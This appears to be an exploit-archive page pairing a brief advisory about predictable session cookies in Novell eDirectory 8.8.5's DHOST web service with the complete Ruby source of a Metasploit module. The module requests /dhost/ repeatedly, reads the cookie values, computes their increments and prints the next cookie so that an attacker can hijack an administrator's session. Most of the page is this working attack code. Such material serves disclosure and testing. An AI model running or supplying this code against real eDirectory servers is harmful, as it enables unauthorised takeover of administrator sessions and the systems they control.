|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98  |  source: https://www.securityfocus.com/bid/38782/info Novell eDirectory is prone to a session-hijacking vulnerability. An attacker can exploit this issue to gain access to the affected application. Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected.  ## # $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary  include Msf::Exploit::Remote::Tcp  def initialize(info = {})  super(update_info(info,  'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',  'Description'=> %q{  This module is able to predict the next session cookie value issued  by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run  this module, wait until the real administrator logs in, then specify the  predicted cookie value to hijack their session.  },  'References' =>  [  ['OSVDB', '60035'],  ],  'Author' => 'hdm',  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 7519 $'  ))  register_options([  Opt::RPORT(8030),  OptBool.new('SSL', [true, 'Use SSL', true])  ], self.class)  end  def run  vals = []  name = ""  print_status("Making 5 requests to verify predictions...")  1.upto(6) do  connect  req ="GET /dhost/ HTTP/1.1\r\n"  req << "Host: #{rhost}:#{rport}\r\n"  req << "Connection: close\r\n\r\n"  sock.put(req)  res = sock.get_once(-1,5)  disconnect  cookie = nil  if(res =~ /Cookie:\s*([^\s]+)\s*/mi)  cookie = $1  cookie,junk = cookie.split(';')  name,cookie = cookie.split('=')  cookie= cookie.to_i(16)  vals << cookie  end  end  deltas = []  prev_val = nil  vals.each_index do |i|  if(i > 0)  delta = vals[i] - prev_val  print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")  deltas << delta  end  prev_val = vals[i]  end  deltas.uniq!  if(deltas.length < 4)  print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")  else  print_status("The cookie value is less predictable, maybe this has been patched?")  print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")  end  end end  |